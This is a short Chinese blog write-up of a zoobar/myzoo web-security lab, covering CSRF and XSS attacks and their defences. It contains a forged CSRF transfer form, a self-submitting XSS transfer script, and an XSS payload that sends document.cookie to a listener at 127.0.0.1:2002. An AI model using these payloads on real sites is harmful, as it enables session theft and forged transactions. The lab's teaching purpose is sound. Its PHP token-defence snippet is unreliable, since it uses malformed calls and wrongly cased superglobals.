• web安全:xss && csrf


    首先在user.php文件中去除黑名单的第一行标签,在白名单中添加<script>
    E1:csrf攻击zoobar
    csrf:cross-site request forgery    跨站伪造请求
    普通用户登录myzoo网站后,在未退出的状态下,浏览了attack/csrf网站
    该网站伪造了一份myzoo网站的表单,普通用户在不知情的状态下,自动被提交了一份恶意表单
    由于http协议的无状态特性,在每一份请求的表单中会自动带上cookie
    从而在myzoo网站看来一份合法的请求被提交
    iframe限制了网站跳转,普通用户难以察觉

    <iframe name=my_iframe width=70% height=40%></iframe>
    <form method=POST name=transferform action="http://www.myzoo.com/transfer.php" target="my_iframe">
    <p>Send <input name=zoobars type=text value="1" size=5> zoobars</p>
    <p>to <input name=recipient type=text value="attack"></p>
    <input type=submit name=submission value="Send">
    </form>
     
    E2:csrf防御攻击zoobar
    方案1:
    验证HTTP Referer字段,它记录了该HTTP请求的源地址
    缺点:该字段可以被普通用户修改

    方案2:【相对合理】
    在请求中添加token并验证
    在服务器端建立拦截器验证此token

    基本思路:
    1)启动session
    <?php session_start; ?>
    2)在session中产生一个随机数
    $_session['csrf']=md5(uniqid(mt_rand(),true));
    3)将生成的值放在表单中
    <input type=hidden name=csrf value="<?php echo $_session['csrf']?>"/>
    4)用户提交表单验证提交的token是否和session中保存的值一致
     if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists &&
            $_post['submission'] && ($_post['csrf']==$_session['csrf']))
     
    E3:xss攻击zoobar
    xss:cross sitescript    跨站脚本攻击
    通过js创建自提交表单
    <script>
    var f=document.createElement("form");
    document.body.appendChild(f);
     
    var a=document.createElement("input");
    a.type="hidden";
    a.type="text";
    a.value="1";
    a.name="zoobars";
    f.appendChild(a);
     
    var b=document.createElement("input");
    b.type="hidden";
    b.type="text";
    b.name="recipient"
    b.value="aa";
    f.appendChild(b);
     
    var c=document.createElement("input");
    c.type="hidden";
    c.name="submission";
    c.value="Send";
    f.appendChild(c);
     
    f.method="POST";
    f.name="transferform";
    f.submit();
    </script>
    E4:xss防御攻击zoobar
    同理csrf防御攻击zoobar
     
    E5:xss攻击cookie
    凡是可以执行js代码的地方就可能存在xss漏洞!
    <script>
    document.write("<img src=http://127.0.0.1:2002?cookie="+document.cookie+">");
    </script>
    E6:xss防御攻击cookie 
    HttpOnly
    setcookie($this->cookieName, $cookieData, time() + 31104000,NULL,NULL,NULL,TRUE);

    突然又没有跑出应有的结果,下次再贴图 
    ========================if i have some wrong, please give me a message, thx.========================
  • 相关阅读:
    Codeforces 362D Fools and Foolproof Roads 构造题
    Machine Learning—Mixtures of Gaussians and the EM algorithm
    Php面向对象 – 单例模式
    标C编程笔记day06 动态分配内存、函数指针、可变长度參数
    html的下拉框的几个基本使用方法
    【创新培育项目】为什么要组队參加比赛?及如何寻找一个合适的选题?
    项目管理心得:一个项目经理的个人体会、经验总结
    GMM的EM算法实现
    oracle中LAG()和LEAD()等分析统计函数的使用方法(统计月增长率)
    sql server 2005 32位+64位、企业版+标准版、CD+DVD 下载地址大全
  • 原文地址:https://www.cnblogs.com/ailx10/p/5251729.html
Copyright © 2020-2023  润新知